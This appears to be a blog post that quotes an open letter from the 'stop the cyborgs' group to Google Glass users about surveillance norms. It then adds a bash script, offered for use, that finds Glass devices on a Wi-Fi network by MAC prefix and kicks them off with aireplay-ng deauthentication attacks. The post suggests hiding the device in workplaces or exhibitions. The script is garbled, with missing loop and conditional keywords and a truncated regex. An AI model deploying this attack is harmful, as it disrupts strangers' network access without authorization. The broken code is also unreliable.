Glass Explorers

Dear Glass Explorers,

Greetings from ‘stop the cyborgs’ which you may know from our ban signs and possibly a few media articles. We are mainly technology people so we are definitely not ‘anti tech’. We are not calling for a complete government ban on wearable tech like glass. Nor do we believe that you shouldn’t wear it at all. Rather we want to help define sensible norms around where people do or don’t wear devices; encourage individual people to think about the social impact of new technologies; and to discourage the normalisation of surveillance.

Even though Google Glass is still a limited prototype it has generated excitement and controversy in equal measure. Whether you love it or loath one thing we can agree on is that it is a symbolically important device that represents a change in our relationship with technology. If the trajectory that glass represents is followed technology will become part of us, mediating every human decision and interaction for good or ill.

Glass, other wearables (and in future implants) are designed with the intention of making technology both invisible and omnipresent by integrating it closely with the body. The integration of corporate cloud services, technical devices, and the human body has three major implications…

An implication that the above missive did not address is counter revolutionaries: see the below script, which identifies and removes Glass wearers from your wireless network:

# Find and kick Google Glass devices from your local wireless network. Requires
# 'beep', 'arp-scan', 'aircrack-ng' and a GNU/Linux host. Put on a BeagleBone
# black or Raspberry Pi. Plug in a good USB wireless NIC (like the TL-WN722N)
# and wear it, hide it in your workplace or your exhibition.
# Save as, 'chmod +x' and exec as follows:
# sudo ./

shopt -s nocasematch # Set shell to ignore case

NIC=$1 # Your wireless NIC
BSSID=$2 # Network BSSID (exhibition, workplace, park)
MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk ‘{ print $5 }’)
GGMAC=’F8:8F:CA:24′ # May change as new editions of Google Glass are released
POLL=30 # Check every 30 seconds

airmon-ng stop mon0 # Pull down any lingering monitor devices
airmon-ng start $NIC # Start a monitor device
echo ‘

while true;
for TARGET in $(arp-scan -I $NIC –localnet | grep -o -E \\
if [[ $TARGET == *$GGMAC* ]]
# Audio alert
beep -f 1000 -l 500 -n 200 -r 2
echo “Glasshole discovered: “$TARGET
echo “De-authing…”
aireplay-ng -0 1 -a $BSSID -c $TARGET mon0
echo $TARGET”: is not a Google Glass. Leaving alone..”
echo “None found this round.”
sleep $POLL
airmon-ng stop mon0

(mucho previously)
Rêves doux

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